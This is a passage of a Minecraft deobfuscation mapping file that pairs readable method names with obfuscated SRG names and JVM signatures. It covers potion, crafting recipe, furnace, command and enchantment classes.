net/minecraft/potion/PotionHelper/func_77913_a (ILjava/lang/String;)I +MD: net/minecraft/potion/PotionHelper/getLiquidColor (IZ)I net/minecraft/potion/PotionHelper/func_77915_a (IZ)I +MD: net/minecraft/potion/PotionHelper/parsePotionEffects (Ljava/lang/String;III)I net/minecraft/potion/PotionHelper/func_77912_a (Ljava/lang/String;III)I +MD: net/minecraft/potion/PotionHelper/calcPotionLiquidColor (Ljava/util/Collection;)I net/minecraft/potion/PotionHelper/func_77911_a (Ljava/util/Collection;)I +MD: net/minecraft/potion/PotionHelper/getPotionEffect (ZZZIIII)I net/minecraft/potion/PotionHelper/func_77904_a (ZZZIIII)I +MD: net/minecraft/potion/PotionHelper/getPotionEffects (IZ)Ljava/util/List; net/minecraft/potion/PotionHelper/func_77917_b (IZ)Ljava/util/List; +MD: net/minecraft/potion/PotionHelper/getAreAmbient (Ljava/util/Collection;)Z net/minecraft/potion/PotionHelper/func_82817_b (Ljava/util/Collection;)Z +MD: net/minecraft/potion/PotionHelper/getPotionPrefix (I)Ljava/lang/String; net/minecraft/potion/PotionHelper/func_77905_c (I)Ljava/lang/String; +MD: net/minecraft/potion/PotionHelper/isFlagSet (II)I net/minecraft/potion/PotionHelper/func_77910_c (II)I +MD: net/minecraft/potion/PotionHelper/isFlagUnset (II)I net/minecraft/potion/PotionHelper/func_77916_d (II)I +MD: net/minecraft/potion/PotionHelper/countSetFlags (I)I net/minecraft/potion/PotionHelper/func_77907_h (I)I +MD: net/minecraft/item/crafting/RecipesArmorDyes/getRecipeSize ()I net/minecraft/item/crafting/RecipesArmorDyes/func_77570_a ()I +MD: net/minecraft/item/crafting/RecipesArmorDyes/getCraftingResult (Lnet/minecraft/inventory/InventoryCrafting;)Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/RecipesArmorDyes/func_77572_b (Lnet/minecraft/inventory/InventoryCrafting;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/RecipesArmorDyes/matches (Lnet/minecraft/inventory/InventoryCrafting;Lnet/minecraft/world/World;)Z net/minecraft/item/crafting/RecipesArmorDyes/func_77569_a (Lnet/minecraft/inventory/InventoryCrafting;Lnet/minecraft/world/World;)Z +MD: net/minecraft/item/crafting/RecipesArmorDyes/getRecipeOutput ()Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/RecipesArmorDyes/func_77571_b ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/RecipesArmorDyes/getRemainingItems (Lnet/minecraft/inventory/InventoryCrafting;)[Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/RecipesArmorDyes/func_179532_b (Lnet/minecraft/inventory/InventoryCrafting;)[Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/RecipesArmor/addRecipes (Lnet/minecraft/item/crafting/CraftingManager;)V net/minecraft/item/crafting/RecipesArmor/func_77609_a (Lnet/minecraft/item/crafting/CraftingManager;)V +MD: net/minecraft/item/crafting/RecipesBanners$RecipeAddPattern/getRecipeSize ()I net/minecraft/item/crafting/RecipesBanners$RecipeAddPattern/func_77570_a ()I +MD: net/minecraft/item/crafting/RecipesBanners$RecipeAddPattern/getCraftingResult (Lnet/minecraft/inventory/InventoryCrafting;)Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/RecipesBanners$RecipeAddPattern/func_77572_b (Lnet/minecraft/inventory/InventoryCrafting;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/RecipesBanners$RecipeAddPattern/matches (Lnet/minecraft/inventory/InventoryCrafting;Lnet/minecraft/world/World;)Z net/minecraft/item/crafting/RecipesBanners$RecipeAddPattern/func_77569_a (Lnet/minecraft/inventory/InventoryCrafting;Lnet/minecraft/world/World;)Z +MD: net/minecraft/item/crafting/RecipesBanners$RecipeAddPattern/getRecipeOutput ()Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/RecipesBanners$RecipeAddPattern/func_77571_b ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/RecipesBanners$RecipeAddPattern/getRemainingItems (Lnet/minecraft/inventory/InventoryCrafting;)[Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/RecipesBanners$RecipeAddPattern/func_179532_b (Lnet/minecraft/inventory/InventoryCrafting;)[Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/RecipesBanners$RecipeAddPattern/func_179533_c (Lnet/minecraft/inventory/InventoryCrafting;)Lnet/minecraft/tileentity/TileEntityBanner$EnumBannerPattern; net/minecraft/item/crafting/RecipesBanners$RecipeAddPattern/func_179533_c (Lnet/minecraft/inventory/InventoryCrafting;)Lnet/minecraft/tileentity/TileEntityBanner$EnumBannerPattern; +MD: net/minecraft/item/crafting/RecipesBanners$RecipeDuplicatePattern/getRecipeSize ()I net/minecraft/item/crafting/RecipesBanners$RecipeDuplicatePattern/func_77570_a ()I +MD: net/minecraft/item/crafting/RecipesBanners$RecipeDuplicatePattern/getCraftingResult (Lnet/minecraft/inventory/InventoryCrafting;)Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/RecipesBanners$RecipeDuplicatePattern/func_77572_b (Lnet/minecraft/inventory/InventoryCrafting;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/RecipesBanners$RecipeDuplicatePattern/matches (Lnet/minecraft/inventory/InventoryCrafting;Lnet/minecraft/world/World;)Z net/minecraft/item/crafting/RecipesBanners$RecipeDuplicatePattern/func_77569_a (Lnet/minecraft/inventory/InventoryCrafting;Lnet/minecraft/world/World;)Z +MD: net/minecraft/item/crafting/RecipesBanners$RecipeDuplicatePattern/getRecipeOutput ()Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/RecipesBanners$RecipeDuplicatePattern/func_77571_b ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/RecipesBanners$RecipeDuplicatePattern/getRemainingItems (Lnet/minecraft/inventory/InventoryCrafting;)[Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/RecipesBanners$RecipeDuplicatePattern/func_179532_b (Lnet/minecraft/inventory/InventoryCrafting;)[Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/RecipesBanners/addRecipes (Lnet/minecraft/item/crafting/CraftingManager;)V net/minecraft/item/crafting/RecipesBanners/func_179534_a (Lnet/minecraft/item/crafting/CraftingManager;)V +MD: net/minecraft/item/crafting/RecipeBookCloning/getRecipeSize ()I net/minecraft/item/crafting/RecipeBookCloning/func_77570_a ()I +MD: net/minecraft/item/crafting/RecipeBookCloning/getCraftingResult (Lnet/minecraft/inventory/InventoryCrafting;)Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/RecipeBookCloning/func_77572_b (Lnet/minecraft/inventory/InventoryCrafting;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/RecipeBookCloning/matches (Lnet/minecraft/inventory/InventoryCrafting;Lnet/minecraft/world/World;)Z net/minecraft/item/crafting/RecipeBookCloning/func_77569_a (Lnet/minecraft/inventory/InventoryCrafting;Lnet/minecraft/world/World;)Z +MD: net/minecraft/item/crafting/RecipeBookCloning/getRecipeOutput ()Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/RecipeBookCloning/func_77571_b ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/RecipeBookCloning/getRemainingItems (Lnet/minecraft/inventory/InventoryCrafting;)[Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/RecipeBookCloning/func_179532_b (Lnet/minecraft/inventory/InventoryCrafting;)[Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/RecipesDyes/addRecipes (Lnet/minecraft/item/crafting/CraftingManager;)V net/minecraft/item/crafting/RecipesDyes/func_77607_a (Lnet/minecraft/item/crafting/CraftingManager;)V +MD: net/minecraft/item/crafting/RecipeFireworks/getRecipeSize ()I net/minecraft/item/crafting/RecipeFireworks/func_77570_a ()I +MD: net/minecraft/item/crafting/RecipeFireworks/getCraftingResult (Lnet/minecraft/inventory/InventoryCrafting;)Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/RecipeFireworks/func_77572_b (Lnet/minecraft/inventory/InventoryCrafting;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/RecipeFireworks/matches (Lnet/minecraft/inventory/InventoryCrafting;Lnet/minecraft/world/World;)Z net/minecraft/item/crafting/RecipeFireworks/func_77569_a (Lnet/minecraft/inventory/InventoryCrafting;Lnet/minecraft/world/World;)Z +MD: net/minecraft/item/crafting/RecipeFireworks/getRecipeOutput ()Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/RecipeFireworks/func_77571_b ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/RecipeFireworks/getRemainingItems (Lnet/minecraft/inventory/InventoryCrafting;)[Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/RecipeFireworks/func_179532_b (Lnet/minecraft/inventory/InventoryCrafting;)[Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/RecipesFood/addRecipes (Lnet/minecraft/item/crafting/CraftingManager;)V net/minecraft/item/crafting/RecipesFood/func_77608_a (Lnet/minecraft/item/crafting/CraftingManager;)V +MD: net/minecraft/item/crafting/FurnaceRecipes/instance ()Lnet/minecraft/item/crafting/FurnaceRecipes; net/minecraft/item/crafting/FurnaceRecipes/func_77602_a ()Lnet/minecraft/item/crafting/FurnaceRecipes; +MD: net/minecraft/item/crafting/FurnaceRecipes/addSmeltingRecipeForBlock (Lnet/minecraft/block/Block;Lnet/minecraft/item/ItemStack;F)V net/minecraft/item/crafting/FurnaceRecipes/func_151393_a (Lnet/minecraft/block/Block;Lnet/minecraft/item/ItemStack;F)V +MD: net/minecraft/item/crafting/FurnaceRecipes/addSmelting (Lnet/minecraft/item/Item;Lnet/minecraft/item/ItemStack;F)V net/minecraft/item/crafting/FurnaceRecipes/func_151396_a (Lnet/minecraft/item/Item;Lnet/minecraft/item/ItemStack;F)V +MD: net/minecraft/item/crafting/FurnaceRecipes/getSmeltingResult (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/FurnaceRecipes/func_151395_a (Lnet/minecraft/item/ItemStack;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/FurnaceRecipes/compareItemStacks (Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;)Z net/minecraft/item/crafting/FurnaceRecipes/func_151397_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/item/crafting/FurnaceRecipes/addSmeltingRecipe (Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;F)V net/minecraft/item/crafting/FurnaceRecipes/func_151394_a (Lnet/minecraft/item/ItemStack;Lnet/minecraft/item/ItemStack;F)V +MD: net/minecraft/item/crafting/FurnaceRecipes/getSmeltingList ()Ljava/util/Map; net/minecraft/item/crafting/FurnaceRecipes/func_77599_b ()Ljava/util/Map; +MD: net/minecraft/item/crafting/FurnaceRecipes/getSmeltingExperience (Lnet/minecraft/item/ItemStack;)F net/minecraft/item/crafting/FurnaceRecipes/func_151398_b (Lnet/minecraft/item/ItemStack;)F +MD: net/minecraft/item/crafting/RecipesMapCloning/getRecipeSize ()I net/minecraft/item/crafting/RecipesMapCloning/func_77570_a ()I +MD: net/minecraft/item/crafting/RecipesMapCloning/getCraftingResult (Lnet/minecraft/inventory/InventoryCrafting;)Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/RecipesMapCloning/func_77572_b (Lnet/minecraft/inventory/InventoryCrafting;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/RecipesMapCloning/matches (Lnet/minecraft/inventory/InventoryCrafting;Lnet/minecraft/world/World;)Z net/minecraft/item/crafting/RecipesMapCloning/func_77569_a (Lnet/minecraft/inventory/InventoryCrafting;Lnet/minecraft/world/World;)Z +MD: net/minecraft/item/crafting/RecipesMapCloning/getRecipeOutput ()Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/RecipesMapCloning/func_77571_b ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/RecipesMapCloning/getRemainingItems (Lnet/minecraft/inventory/InventoryCrafting;)[Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/RecipesMapCloning/func_179532_b (Lnet/minecraft/inventory/InventoryCrafting;)[Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/RecipesMapExtending/getCraftingResult (Lnet/minecraft/inventory/InventoryCrafting;)Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/RecipesMapExtending/func_77572_b (Lnet/minecraft/inventory/InventoryCrafting;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/RecipesMapExtending/matches (Lnet/minecraft/inventory/InventoryCrafting;Lnet/minecraft/world/World;)Z net/minecraft/item/crafting/RecipesMapExtending/func_77569_a (Lnet/minecraft/inventory/InventoryCrafting;Lnet/minecraft/world/World;)Z +MD: net/minecraft/item/crafting/RecipesIngots/addRecipes (Lnet/minecraft/item/crafting/CraftingManager;)V net/minecraft/item/crafting/RecipesIngots/func_77590_a (Lnet/minecraft/item/crafting/CraftingManager;)V +MD: net/minecraft/item/crafting/IRecipe/getRecipeSize ()I net/minecraft/item/crafting/IRecipe/func_77570_a ()I +MD: net/minecraft/item/crafting/IRecipe/getCraftingResult (Lnet/minecraft/inventory/InventoryCrafting;)Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/IRecipe/func_77572_b (Lnet/minecraft/inventory/InventoryCrafting;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/IRecipe/matches (Lnet/minecraft/inventory/InventoryCrafting;Lnet/minecraft/world/World;)Z net/minecraft/item/crafting/IRecipe/func_77569_a (Lnet/minecraft/inventory/InventoryCrafting;Lnet/minecraft/world/World;)Z +MD: net/minecraft/item/crafting/IRecipe/getRecipeOutput ()Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/IRecipe/func_77571_b ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/IRecipe/getRemainingItems (Lnet/minecraft/inventory/InventoryCrafting;)[Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/IRecipe/func_179532_b (Lnet/minecraft/inventory/InventoryCrafting;)[Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/CraftingManager$1/compare (Lnet/minecraft/item/crafting/IRecipe;Lnet/minecraft/item/crafting/IRecipe;)I net/minecraft/item/crafting/CraftingManager$1/compare (Lnet/minecraft/item/crafting/IRecipe;Lnet/minecraft/item/crafting/IRecipe;)I +MD: net/minecraft/item/crafting/CraftingManager$1/compare (Ljava/lang/Object;Ljava/lang/Object;)I net/minecraft/item/crafting/CraftingManager$1/compare (Ljava/lang/Object;Ljava/lang/Object;)I +MD: net/minecraft/item/crafting/CraftingManager/getInstance ()Lnet/minecraft/item/crafting/CraftingManager; net/minecraft/item/crafting/CraftingManager/func_77594_a ()Lnet/minecraft/item/crafting/CraftingManager; +MD: net/minecraft/item/crafting/CraftingManager/addRecipe (Lnet/minecraft/item/crafting/IRecipe;)V net/minecraft/item/crafting/CraftingManager/func_180302_a (Lnet/minecraft/item/crafting/IRecipe;)V +MD: net/minecraft/item/crafting/CraftingManager/findMatchingRecipe (Lnet/minecraft/inventory/InventoryCrafting;Lnet/minecraft/world/World;)Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/CraftingManager/func_82787_a (Lnet/minecraft/inventory/InventoryCrafting;Lnet/minecraft/world/World;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/CraftingManager/addRecipe (Lnet/minecraft/item/ItemStack;[Ljava/lang/Object;)Lnet/minecraft/item/crafting/ShapedRecipes; net/minecraft/item/crafting/CraftingManager/func_92103_a (Lnet/minecraft/item/ItemStack;[Ljava/lang/Object;)Lnet/minecraft/item/crafting/ShapedRecipes; +MD: net/minecraft/item/crafting/CraftingManager/getRecipeList ()Ljava/util/List; net/minecraft/item/crafting/CraftingManager/func_77592_b ()Ljava/util/List; +MD: net/minecraft/item/crafting/CraftingManager/func_180303_b (Lnet/minecraft/inventory/InventoryCrafting;Lnet/minecraft/world/World;)[Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/CraftingManager/func_180303_b (Lnet/minecraft/inventory/InventoryCrafting;Lnet/minecraft/world/World;)[Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/CraftingManager/addShapelessRecipe (Lnet/minecraft/item/ItemStack;[Ljava/lang/Object;)V net/minecraft/item/crafting/CraftingManager/func_77596_b (Lnet/minecraft/item/ItemStack;[Ljava/lang/Object;)V +MD: net/minecraft/item/crafting/RecipeRepairItem/getRecipeSize ()I net/minecraft/item/crafting/RecipeRepairItem/func_77570_a ()I +MD: net/minecraft/item/crafting/RecipeRepairItem/getCraftingResult (Lnet/minecraft/inventory/InventoryCrafting;)Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/RecipeRepairItem/func_77572_b (Lnet/minecraft/inventory/InventoryCrafting;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/RecipeRepairItem/matches (Lnet/minecraft/inventory/InventoryCrafting;Lnet/minecraft/world/World;)Z net/minecraft/item/crafting/RecipeRepairItem/func_77569_a (Lnet/minecraft/inventory/InventoryCrafting;Lnet/minecraft/world/World;)Z +MD: net/minecraft/item/crafting/RecipeRepairItem/getRecipeOutput ()Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/RecipeRepairItem/func_77571_b ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/RecipeRepairItem/getRemainingItems (Lnet/minecraft/inventory/InventoryCrafting;)[Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/RecipeRepairItem/func_179532_b (Lnet/minecraft/inventory/InventoryCrafting;)[Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/ShapedRecipes/getRecipeSize ()I net/minecraft/item/crafting/ShapedRecipes/func_77570_a ()I +MD: net/minecraft/item/crafting/ShapedRecipes/getCraftingResult (Lnet/minecraft/inventory/InventoryCrafting;)Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/ShapedRecipes/func_77572_b (Lnet/minecraft/inventory/InventoryCrafting;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/ShapedRecipes/checkMatch (Lnet/minecraft/inventory/InventoryCrafting;IIZ)Z net/minecraft/item/crafting/ShapedRecipes/func_77573_a (Lnet/minecraft/inventory/InventoryCrafting;IIZ)Z +MD: net/minecraft/item/crafting/ShapedRecipes/matches (Lnet/minecraft/inventory/InventoryCrafting;Lnet/minecraft/world/World;)Z net/minecraft/item/crafting/ShapedRecipes/func_77569_a (Lnet/minecraft/inventory/InventoryCrafting;Lnet/minecraft/world/World;)Z +MD: net/minecraft/item/crafting/ShapedRecipes/getRecipeOutput ()Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/ShapedRecipes/func_77571_b ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/ShapedRecipes/getRemainingItems (Lnet/minecraft/inventory/InventoryCrafting;)[Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/ShapedRecipes/func_179532_b (Lnet/minecraft/inventory/InventoryCrafting;)[Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/ShapelessRecipes/getRecipeSize ()I net/minecraft/item/crafting/ShapelessRecipes/func_77570_a ()I +MD: net/minecraft/item/crafting/ShapelessRecipes/getCraftingResult (Lnet/minecraft/inventory/InventoryCrafting;)Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/ShapelessRecipes/func_77572_b (Lnet/minecraft/inventory/InventoryCrafting;)Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/ShapelessRecipes/matches (Lnet/minecraft/inventory/InventoryCrafting;Lnet/minecraft/world/World;)Z net/minecraft/item/crafting/ShapelessRecipes/func_77569_a (Lnet/minecraft/inventory/InventoryCrafting;Lnet/minecraft/world/World;)Z +MD: net/minecraft/item/crafting/ShapelessRecipes/getRecipeOutput ()Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/ShapelessRecipes/func_77571_b ()Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/ShapelessRecipes/getRemainingItems (Lnet/minecraft/inventory/InventoryCrafting;)[Lnet/minecraft/item/ItemStack; net/minecraft/item/crafting/ShapelessRecipes/func_179532_b (Lnet/minecraft/inventory/InventoryCrafting;)[Lnet/minecraft/item/ItemStack; +MD: net/minecraft/item/crafting/RecipesCrafting/addRecipes (Lnet/minecraft/item/crafting/CraftingManager;)V net/minecraft/item/crafting/RecipesCrafting/func_77589_a (Lnet/minecraft/item/crafting/CraftingManager;)V +MD: net/minecraft/item/crafting/RecipesTools/addRecipes (Lnet/minecraft/item/crafting/CraftingManager;)V net/minecraft/item/crafting/RecipesTools/func_77586_a (Lnet/minecraft/item/crafting/CraftingManager;)V +MD: net/minecraft/item/crafting/RecipesWeapons/addRecipes (Lnet/minecraft/item/crafting/CraftingManager;)V net/minecraft/item/crafting/RecipesWeapons/func_77583_a (Lnet/minecraft/item/crafting/CraftingManager;)V +MD: net/minecraft/command/CommandEntityData/getRequiredPermissionLevel ()I net/minecraft/command/CommandEntityData/func_82362_a ()I +MD: net/minecraft/command/CommandEntityData/processCommand (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V net/minecraft/command/CommandEntityData/func_71515_b (Lnet/minecraft/command/ICommandSender;[Ljava/lang/String;)V +MD: net/minecraft/command/CommandEntityData/isUsernameIndex ([Ljava/lang/String;I)Z net/minecraft/command/CommandEntityData/func_82358_a ([Ljava/lang/String;I)Z +MD: net/minecraft/command/CommandEntityData/getCommandName ()Ljava/lang/String; net/minecraft/command/CommandEntityData/func_71517_b ()Ljava/lang/String; +MD: net/minecraft/command/CommandEntityData/getCommandUsage (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; net/minecraft/command/CommandEntityData/func_71518_a (Lnet/minecraft/command/ICommandSender;)Ljava/lang/String; +MD: net/minecraft/enchantment/EnchantmentArrowDamage/getMinEnchantability (I)I net/minecraft/enchantment/EnchantmentArrowDamage/func_77321_a (I)I +MD: net/minecraft/enchantment/EnchantmentArrowDamage/getMaxLevel ()I net/minecraft/enchantment/EnchantmentArrowDamage/func_77325_b ()I +MD: net/minecraft/enchantment/EnchantmentArrowDamage/getMaxEnchantability (I)I net/minecraft/enchantment/EnchantmentArrowDamage/func_77317_b (I)I +MD: net/minecraft/enchantment/EnchantmentArrowFire/getMinEnchantability (I)I net/minecraft/enchantment/EnchantmentArrowFire/func_77321_a (I)I +MD: net/minecraft/enchantment/EnchantmentArrowFire/getMaxLevel ()I net/minecraft/enchantment/EnchantmentArrowFire/func_77325_b ()I +MD: net/minecraft/enchantment/EnchantmentArrowFire/getMaxEnchantability (I)I net/minecraft/enchantment/EnchantmentArrowFire/func_77317_b (I)I +MD: net/minecraft/enchantment/EnchantmentArrowInfinite/getMinEnchantability (I)I net/minecraft/enchantment/EnchantmentArrowInfinite/func_77321_a (I)I +MD: net/minecraft/enchantment/EnchantmentArrowInfinite/getMaxLevel ()I net/minecraft/enchantment/EnchantmentArrowInfinite/func_77325_b ()I +MD: net/minecraft/enchantment/EnchantmentArrowInfinite/getMaxEnchantability (I)I net/minecraft/enchantment/EnchantmentArrowInfinite/func_77317_b (I)I +MD: net/minecraft/enchantment/EnchantmentArrowKnockback/getMinEnchantability (I)I net/minecraft/enchantment/EnchantmentArrowKnockback/func_77321_a (I)I +MD: net/minecraft/enchantment/EnchantmentArrowKnockback/getMaxLevel ()I net/minecraft/enchantment/EnchantmentArrowKnockback/func_77325_b ()I +MD: net/minecraft/enchantment/EnchantmentArrowKnockback/getMaxEnchantability (I)I net/minecraft/enchantment/EnchantmentArrowKnockback/func_77317_b (I)I +MD: net/minecraft/enchantment/EnchantmentDamage/getName ()Ljava/lang/String; net/minecraft/enchantment/EnchantmentDamage/func_77320_a ()Ljava/lang/String; +MD: net/minecraft/enchantment/EnchantmentDamage/getMinEnchantability (I)I net/minecraft/enchantment/EnchantmentDamage/func_77321_a (I)I +MD: net/minecraft/enchantment/EnchantmentDamage/calcDamageByCreature (ILnet/minecraft/entity/EnumCreatureAttribute;)F net/minecraft/enchantment/EnchantmentDamage/func_152376_a (ILnet/minecraft/entity/EnumCreatureAttribute;)F +MD: net/minecraft/enchantment/EnchantmentDamage/canApplyTogether (Lnet/minecraft/enchantment/Enchantment;)Z net/minecraft/enchantment/EnchantmentDamage/func_77326_a (Lnet/minecraft/enchantment/Enchantment;)Z +MD: net/minecraft/enchantment/EnchantmentDamage/onEntityDamaged (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/Entity;I)V net/minecraft/enchantment/EnchantmentDamage/func_151368_a (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/Entity;I)V +MD: net/minecraft/enchantment/EnchantmentDamage/canApply (Lnet/minecraft/item/ItemStack;)Z net/minecraft/enchantment/EnchantmentDamage/func_92089_a (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/enchantment/EnchantmentDamage/getMaxLevel ()I net/minecraft/enchantment/EnchantmentDamage/func_77325_b ()I +MD: net/minecraft/enchantment/EnchantmentDamage/getMaxEnchantability (I)I net/minecraft/enchantment/EnchantmentDamage/func_77317_b (I)I +MD: net/minecraft/enchantment/EnchantmentDurability/getMinEnchantability (I)I net/minecraft/enchantment/EnchantmentDurability/func_77321_a (I)I +MD: net/minecraft/enchantment/EnchantmentDurability/canApply (Lnet/minecraft/item/ItemStack;)Z net/minecraft/enchantment/EnchantmentDurability/func_92089_a (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/enchantment/EnchantmentDurability/negateDamage (Lnet/minecraft/item/ItemStack;ILjava/util/Random;)Z net/minecraft/enchantment/EnchantmentDurability/func_92097_a (Lnet/minecraft/item/ItemStack;ILjava/util/Random;)Z +MD: net/minecraft/enchantment/EnchantmentDurability/getMaxLevel ()I net/minecraft/enchantment/EnchantmentDurability/func_77325_b ()I +MD: net/minecraft/enchantment/EnchantmentDurability/getMaxEnchantability (I)I net/minecraft/enchantment/EnchantmentDurability/func_77317_b (I)I +MD: net/minecraft/enchantment/EnchantmentDigging/getMinEnchantability (I)I net/minecraft/enchantment/EnchantmentDigging/func_77321_a (I)I +MD: net/minecraft/enchantment/EnchantmentDigging/canApply (Lnet/minecraft/item/ItemStack;)Z net/minecraft/enchantment/EnchantmentDigging/func_92089_a (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/enchantment/EnchantmentDigging/getMaxLevel ()I net/minecraft/enchantment/EnchantmentDigging/func_77325_b ()I +MD: net/minecraft/enchantment/EnchantmentDigging/getMaxEnchantability (I)I net/minecraft/enchantment/EnchantmentDigging/func_77317_b (I)I +MD: net/minecraft/enchantment/Enchantment/getName ()Ljava/lang/String; net/minecraft/enchantment/Enchantment/func_77320_a ()Ljava/lang/String; +MD: net/minecraft/enchantment/Enchantment/getMinEnchantability (I)I net/minecraft/enchantment/Enchantment/func_77321_a (I)I +MD: net/minecraft/enchantment/Enchantment/calcModifierDamage (ILnet/minecraft/util/DamageSource;)I net/minecraft/enchantment/Enchantment/func_77318_a (ILnet/minecraft/util/DamageSource;)I +MD: net/minecraft/enchantment/Enchantment/calcDamageByCreature (ILnet/minecraft/entity/EnumCreatureAttribute;)F net/minecraft/enchantment/Enchantment/func_152376_a (ILnet/minecraft/entity/EnumCreatureAttribute;)F +MD: net/minecraft/enchantment/Enchantment/canApplyTogether (Lnet/minecraft/enchantment/Enchantment;)Z net/minecraft/enchantment/Enchantment/func_77326_a (Lnet/minecraft/enchantment/Enchantment;)Z +MD: net/minecraft/enchantment/Enchantment/onEntityDamaged (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/Entity;I)V net/minecraft/enchantment/Enchantment/func_151368_a (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/Entity;I)V +MD: net/minecraft/enchantment/Enchantment/canApply (Lnet/minecraft/item/ItemStack;)Z net/minecraft/enchantment/Enchantment/func_92089_a (Lnet/minecraft/item/ItemStack;)Z +MD: net/minecraft/enchantment/Enchantment/getMaxLevel ()I net/minecraft/enchantment/Enchantment/func_77325_b ()I +MD: net/minecraft/enchantment/Enchantment/getMaxEnchantability (I)I net/minecraft/enchantment/Enchantment/func_77317_b (I)I +MD: net/minecraft/enchantment/Enchantment/getEnchantmentByLocation (Ljava/lang/String;)Lnet/minecraft/enchantment/Enchantment; net/minecraft/enchantment/Enchantment/func_180305_b (Ljava/lang/String;)Lnet/minecraft/enchantment/Enchantment; +MD: net/minecraft/enchantment/Enchantment/onUserHurt (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/Entity;I)V net/minecraft/enchantment/Enchantment/func_151367_b (Lnet/minecraft/entity/EntityLivingBase;Lnet/minecraft/entity/Entity;I)V +MD: net/minecraft/enchantment/Enchantment/func_181077_c ()Ljava/util/Set; net/minecraft/enchantment/Enchantment/func_181077_c ()Ljava/util/Set; +MD: net/minecraft/enchantment/Enchantment/getEnchantmentById (I)Lnet/minecraft/enchantment/Enchantment; net/minecraft/enchantment/Enchantment/func_180306_c (I)Lnet/minecraft/enchantment/Enchantment; +MD: net/minecraft/enchantment/Enchantment/setName (Ljava/lang/String;)Lnet/minecraft/enchantment/Enchantment; net/minecraft/enchantment/Enchantment/func_77322_b (Ljava/lang/String;)Lnet/minecraft/enchantment/Enchantment; +MD: net/minecraft/enchantment/Enchantment/getWeight ()I net/minecraft/enchantment/Enchantment/func_77324_c ()I +MD: net/minecraft/enchantment/Enchantment/getTranslatedName (I)Ljava/lang/String; 